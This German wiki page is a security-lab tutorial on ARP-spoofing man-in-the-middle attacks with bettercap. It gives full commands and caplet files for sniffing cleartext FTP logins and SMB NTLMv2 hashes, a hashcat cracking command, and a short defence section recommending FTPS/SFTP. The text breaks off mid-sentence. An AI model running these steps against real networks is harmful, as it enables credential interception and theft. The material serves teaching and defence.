Bettercap: Credential-Harvesting mit net.sniff

Aus Xinux Wiki
Version vom 20. August 2026, 16:16 Uhr von Thomas.will (Diskussion | Beiträge) (→‎Als Caplet (reproduzierbar))
(Unterschied) ← Nächstältere Version | Aktuelle Version (Unterschied) | Nächstjüngere Version → (Unterschied)
Zur Navigation springen Zur Suche springen

Bettercap: Credential-Harvesting mit net.sniff

Szenario

  • FTP-SERVER (Opfer) = 10.0.10.104
  • CLIENT (userver) = 10.0.10.103
  • ANGREIFER = 10.0.10.101
  • INTERFACE = eth0

Der CLIENT userver loggt sich per FTP auf dem FTP-SERVER ein. Der Angreifer sitzt per ARP-Spoofing zwischen beiden und liest die FTP-Zugangsdaten mit. FTP uebertraegt Login und Passwort im Klartext - net.sniff erkennt den Login automatisch und zeigt Benutzer und Passwort als fertige Zeile an.

Benoetigtes Paket

  • apt-get install bettercap

Angreifer: MITM + Sniffer starten

  • bettercap -iface eth0
Im bettercap-Prompt
  • set arp.spoof.targets 10.0.10.103,10.0.10.104
  • set arp.spoof.internal true
  • set arp.spoof.fullduplex true
  • set net.sniff.filter "tcp port 21 or tcp port 20"
  • net.probe on
  • arp.spoof on
  • net.sniff on

Optionen

arp.spoof.targets        =  beide Hosts (Client und FTP-Server)
arp.spoof.internal true  =  Host-zu-Host im LAN vergiften (beide sind interne Hosts)
arp.spoof.fullduplex     =  beide Richtungen vergiften
net.sniff.filter         =  nur FTP-Verkehr anzeigen (21 Steuerkanal, 20 Datenkanal)
net.probe on             =  ARP-Cache vorab fuellen
arp.spoof on             =  ARP-Spoofing starten
net.sniff on             =  Sniffer mit Protokoll-Parsern starten
net.sniff ist kein reiner Mitschnitt
es kennt die Klartext-Protokolle und zieht
die Zugangsdaten selbst heraus. Man muss den TCP-Stream nicht von Hand
zusammensetzen - der FTP-Login erscheint fertig geparst im Log.

Als Caplet (reproduzierbar)

Das Caplet ist nichts weiter als die obigen Befehle in eine Datei geschrieben,
damit man sie nicht jedes Mal von Hand tippt.
  • vim seclab-ftp-creds.cap
net.probe on
set arp.spoof.targets 10.0.10.103,10.0.10.104
set arp.spoof.internal true
set arp.spoof.fullduplex true
set net.sniff.filter "tcp port 21 or tcp port 20"
arp.spoof on
net.sniff on
Start
  • bettercap -iface eth0 -caplet seclab-ftp-creds.cap

Auf dem CLIENT: FTP-Login ausloesen

Damit es etwas mitzuschneiden gibt, loggt sich der userver auf dem FTP-Server ein.
  • ftp 10.0.10.104
Connected to 10.0.10.104.
Name (10.0.10.104:root): testuser
Password: geheim123
230 Login successful.
ftp> quit

Auf dem Angreifer: der abgegriffene Login

Im net.sniff-Log erscheint der Login fertig geparst, etwa so
[net.sniff.ftp] 10.0.10.103 > 10.0.10.104  user 'testuser'
[net.sniff.ftp] 10.0.10.103 > 10.0.10.104  pass 'geheim123'
Benutzer und Passwort stehen im Klartext da - ohne dass man den TCP-Stream
von Hand zusammenbauen musste.

Gegenprobe: derselbe Login in Wireshark

Zum Vergleich denselben FTP-Login in Wireshark oeffnen und "Follow TCP Stream"
waehlen. Man sieht dieselben Daten - aber verteilt ueber viele Pakete und ohne
fertige Auswertung. Das zeigt, was net.sniff dem Angreifer an Arbeit abnimmt.

Angriff beenden

Im bettercap-Prompt
  • arp.spoof off
  • q
arp.spoof off schickt re-ARP, damit die ARP-Caches von Client und Server wieder
stimmen.

Warum das funktioniert - und die Abwehr

FTP uebertraegt Login und Passwort unverschluesselt. Die Abwehr ist nicht "besser
aufpassen", sondern das Protokoll ersetzen
  • FTPS (FTP ueber TLS) oder SFTP (ueber SSH) statt Klartext-FTP
  • Damit sieht net.sniff nur noch verschluesselte Bytes - kein Login mehr im Klartext

Weiterfuehrende Angriffe

Caplet smb

Wie beim FTP-Caplet
die Befehle in eine Datei geschrieben, damit man sie nicht
jedes Mal tippt. Gefiltert wird auf die SMB-Ports 139 (NetBIOS) und 445 (SMB direkt).
  • vim seclab-smb-creds.cap
net.probe on
set arp.spoof.targets 10.0.10.103,10.0.10.104
set arp.spoof.internal true
set arp.spoof.fullduplex true
set net.sniff.filter "tcp port 445 or tcp port 139"
arp.spoof on
net.sniff on
Start
  • bettercap -iface eth0 -caplet seclab-smb-creds.cap

Was net.sniff bei SMB zeigt - und was nicht

Anders als bei FTP steht hier KEIN Passwort im Klartext. SMB authentifiziert
ueber NTLM Challenge-Response
das Passwort geht nie ueber die Leitung. Im
Mitschnitt erscheinen nur
- der Benutzername (Klartext)
- die Domaene / Workgroup
- die Server-Challenge
- die NTLMv2-Response (der errechnete Hash)
Das ist genau der Kontrast zu FTP
dieselbe MITM-Position, aber ein Protokoll,
das die Passwort-Uebertragung richtig macht. net.sniff hat fuer SMB auch keinen
fertigen user/pass-Parser - die NTLM-Response liest man in Wireshark mit dem
Anzeigefilter ntlmssp sauber aus.

Ausblick: der Hash ist trotzdem Beute

Die mitgeschnittene NTLMv2-Response laesst sich offline knacken. Den Hash in eine
Datei schreiben und spaeter im hashcat-Kapitel wieder aufnehmen
  • hashcat -m 5600 ntlmv2.hash rockyou.txt
Das